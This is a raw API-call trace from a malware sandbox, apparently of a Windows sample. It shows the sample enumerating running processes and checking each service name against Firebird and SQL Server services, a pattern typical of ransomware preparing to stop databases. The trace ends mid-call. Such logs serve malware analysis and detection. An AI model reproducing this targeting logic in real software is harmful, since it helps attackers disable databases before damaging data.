lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0167.610] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0167.610] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.611] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.611] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0167.611] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0167.611] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0167.612] lstrlenW (lpString="movers-indication.exe") returned 21 [0167.612] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0167.613] lstrlenW (lpString="drama tv thee.exe") returned 17 [0167.613] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0167.614] lstrlenW (lpString="barriers.exe") returned 12 [0167.614] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0167.615] lstrlenW (lpString="shootclick.exe") returned 14 [0167.615] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0167.616] lstrlenW (lpString="nickel.exe") returned 10 [0167.616] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0167.617] lstrlenW (lpString="imperialopened.exe") returned 18 [0167.617] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0167.618] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0167.618] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0167.619] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0167.619] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0167.619] lstrlenW (lpString="perhapssentences.exe") returned 20 [0167.619] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.620] lstrlenW (lpString="dllhost.exe") returned 11 [0167.620] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.621] lstrlenW (lpString="svchost.exe") returned 11 [0167.621] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0167.622] lstrlenW (lpString="chrome64b.exe") returned 13 [0167.622] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0167.623] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0167.623] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.623] lstrlenW (lpString="conhost.exe") returned 11 [0167.623] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0167.624] lstrlenW (lpString="cmd.exe") returned 7 [0167.624] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.625] lstrlenW (lpString="conhost.exe") returned 11 [0167.625] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.626] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.626] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0167.627] lstrlenW (lpString="mode.com") returned 8 [0167.627] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0167.627] CloseHandle (hObject=0x318) returned 1 [0167.627] Sleep (dwMilliseconds=0x1f4) [0168.163] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce960 [0168.163] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0168.164] GetLastError () returned 0xea [0168.164] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0168.164] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0168.164] CloseServiceHandle (hSCObject=0x7ce960) returned 1 [0168.165] lstrlenW (lpString="Appinfo") returned 7 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.165] lstrlenW (lpString="AppXSvc") returned 7 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0168.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0168.165] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0168.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0168.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0168.165] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.165] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.165] lstrlenW (lpString="Audiosrv") returned 8 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0168.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0168.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0168.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0168.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0168.165] lstrlenW (lpString="BFE") returned 3 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.165] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.165] lstrlenW (lpString="BITS") returned 4 [0168.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0168.166] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0168.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0168.166] lstrlenW (lpString="CDPSvc") returned 6 [0168.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0168.166] lstrlenW (lpString="ClickToRunSvc") returned 13 [0168.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0168.166] lstrlenW (lpString="ClipSVC") returned 7 [0168.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0168.166] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0168.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0168.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0168.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0168.167] lstrlenW (lpString="CryptSvc") returned 8 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.167] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.167] lstrlenW (lpString="DcomLaunch") returned 10 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.167] lstrlenW (lpString="DeviceAssociationService") returned 24 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0168.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0168.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0168.167] lstrlenW (lpString="Dhcp") returned 4 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.167] lstrlenW (lpString="Dnscache") returned 8 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.167] lstrlenW (lpString="DoSvc") returned 5 [0168.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0168.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0168.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0168.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0168.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0168.168] lstrlenW (lpString="DPS") returned 3 [0168.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.168] lstrlenW (lpString="DusmSvc") returned 7 [0168.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0168.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0168.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0168.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0168.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0168.168] lstrlenW (lpString="EventLog") returned 8 [0168.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0168.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0168.168] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0168.168] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0168.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0168.168] lstrlenW (lpString="EventSystem") returned 11 [0168.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.168] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.168] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.168] lstrlenW (lpString="FontCache") returned 9 [0168.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0168.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0168.169] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0168.169] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0168.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0168.169] lstrlenW (lpString="gpsvc") returned 5 [0168.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.169] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.169] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.169] lstrlenW (lpString="iphlpsvc") returned 8 [0168.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.169] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.169] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.169] lstrlenW (lpString="KeyIso") returned 6 [0168.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0168.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0168.169] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0168.169] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0168.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0168.169] lstrlenW (lpString="LanmanServer") returned 12 [0168.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.170] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.170] lstrlenW (lpString="lfsvc") returned 5 [0168.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0168.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0168.170] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0168.170] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0168.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0168.170] lstrlenW (lpString="LicenseManager") returned 14 [0168.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0168.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0168.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0168.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0168.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0168.170] lstrlenW (lpString="lmhosts") returned 7 [0168.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.171] lstrlenW (lpString="LSM") returned 3 [0168.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0168.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0168.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0168.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0168.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0168.171] lstrlenW (lpString="MpsSvc") returned 6 [0168.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.171] lstrlenW (lpString="NcbService") returned 10 [0168.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0168.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0168.171] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0168.171] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0168.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0168.171] lstrlenW (lpString="netprofm") returned 8 [0168.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.171] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.171] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.172] lstrlenW (lpString="NlaSvc") returned 6 [0168.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.172] lstrlenW (lpString="nsi") returned 3 [0168.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.172] lstrlenW (lpString="PcaSvc") returned 6 [0168.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned 